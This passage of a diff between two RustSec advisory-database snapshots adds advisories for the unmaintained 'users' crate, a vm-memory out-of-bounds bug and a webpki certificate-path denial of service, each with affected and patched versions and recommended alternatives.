+parse attempt (e.g., millions of bytes).
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/users/RUSTSEC-2023-0040.md 
new/advisory-db-20231007/crates/users/RUSTSEC-2023-0040.md
--- old/advisory-db-20230818/crates/users/RUSTSEC-2023-0040.md  2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/crates/users/RUSTSEC-2023-0040.md  2023-10-03 
15:53:18.000000000 +0200
@@ -15,7 +15,9 @@
 The `users` crate hasn't seen any action since 2020-10-08. The developer seems 
[MIA] since.
 
 ## Recommended alternatives
+- [`uzers`]
 - [`sysinfo`]
 
 [MIA]: https://github.com/ogham/rust-users/issues/54
+[`uzers`]: https://crates.io/crates/uzers
 [`sysinfo`]: https://crates.io/crates/sysinfo
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/users/RUSTSEC-2023-0059.md 
new/advisory-db-20231007/crates/users/RUSTSEC-2023-0059.md
--- old/advisory-db-20230818/crates/users/RUSTSEC-2023-0059.md  1970-01-01 
01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/users/RUSTSEC-2023-0059.md  2023-10-03 
15:53:18.000000000 +0200
@@ -0,0 +1,27 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0059"
+package = "users"
+date = "2023-09-10"
+url = "https://github.com/ogham/rust-users/issues/55";
+informational = "unsound"
+keywords = ["unaligned-read"]
+
+[versions]
+patched = []
+```
+
+# Unaligned read of `*const *const c_char` pointer
+
+Affected versions dereference a potentially unaligned pointer. The pointer is
+commonly unaligned in practice, resulting in undefined behavior.
+
+In some build modes, this is observable as a panic followed by abort. In other
+build modes the UB may manifest in some other way, including the possibility of
+working correctly in some architectures.
+
+The crate is not currently maintained, so a patched version is not available.
+
+## Recommended alternatives
+- [`uzers`](https://crates.io/crates/uzers) (an actively maintained fork of 
the `users` crate)
+- [`sysinfo`](https://crates.io/crates/sysinfo)
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/vm-memory/RUSTSEC-2023-0056.md 
new/advisory-db-20231007/crates/vm-memory/RUSTSEC-2023-0056.md
--- old/advisory-db-20230818/crates/vm-memory/RUSTSEC-2023-0056.md      
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/vm-memory/RUSTSEC-2023-0056.md      
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,29 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0056"
+package = "vm-memory"
+date = "2023-09-01"
+url = "https://github.com/rust-vmm/vm-memory/issues/250";
+references = 
["https://github.com/rust-vmm/vm-memory/commit/aff1dd4a5259f7deba56692840f7a2d9ca34c9c8";]
+informational = "unsound"
+categories = ["memory-exposure"]
+cvss = "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L"
+aliases = ["CVE-2023-41051", "GHSA-49hh-fprx-m68g"]
+
+[affected]
+[affected.functions]
+"vm_memory::volatile_memory::VolatileMemory::get_atomic_ref" = ["< 0.12.2"]
+"vm_memory::volatile_memory::VolatileMemory::aligned_as_ref" = ["< 0.12.2"]
+"vm_memory::volatile_memory::VolatileMemory::aligned_as_mut" = ["< 0.12.2"]
+"vm_memory::volatile_memory::VolatileMemory::get_ref" = ["< 0.12.2"]
+"vm_memory::volatile_memory::VolatileMemory::get_array_ref" = ["< 0.12.2"]
+
+[versions]
+patched = [">= 0.12.2"]
+```
+
+# Default functions in VolatileMemory trait lack bounds checks, potentially 
leading to out-of-bounds memory accesses 
+
+An issue was discovered in the default implementations of the 
`VolatileMemory::{get_atomic_ref, aligned_as_ref, aligned_as_mut, get_ref, 
get_array_ref}` trait functions, which allows out-of-bounds memory access if 
the `VolatileMemory::get_slice` function returns a `VolatileSlice` whose length 
is less than the function’s `count` argument. No implementations of 
`get_slice` provided in `vm_memory` are affected. Users of custom 
`VolatileMemory` implementations may be impacted if the custom implementation 
does not adhere to `get_slice`'s documentation.
+
+The issue started in version 0.1.0 but was fixed in version 0.12.2 by 
inserting a check that verifies that the `VolatileSlice` returned by 
`get_slice` is of the correct length.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/webpki/RUSTSEC-2023-0052.md 
new/advisory-db-20231007/crates/webpki/RUSTSEC-2023-0052.md
--- old/advisory-db-20230818/crates/webpki/RUSTSEC-2023-0052.md 1970-01-01 
01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/webpki/RUSTSEC-2023-0052.md 2023-10-03 
15:53:18.000000000 +0200
@@ -0,0 +1,28 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0052"
+package = "webpki"
+date = "2023-08-22"
+categories = ["denial-of-service"]
+keywords = ["certificate", "path building", "x509"]
+cvss = "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+related = ["CVE-2018-16875"]
+aliases = ["GHSA-8qv2-5vq6-g2g7"]
+
+[versions]
+patched = [">= 0.22.2"]
+```
+
+# webpki: CPU denial of service in certificate path building
+
+When this crate is given a pathological certificate chain to validate, it will
+spend CPU time exponential with the number of candidate certificates at each
+step of path building.
+
+Both TLS clients and TLS servers that accept client certificate are affected.
+
+This was previously reported in
+<https://github.com/briansmith/webpki/issues/69> and re-reported recently
+by Luke Malinowski.
+
+webpki 0.22.1 included a partial fix and webpki 0.22.2 added further fixes.

Reply via email to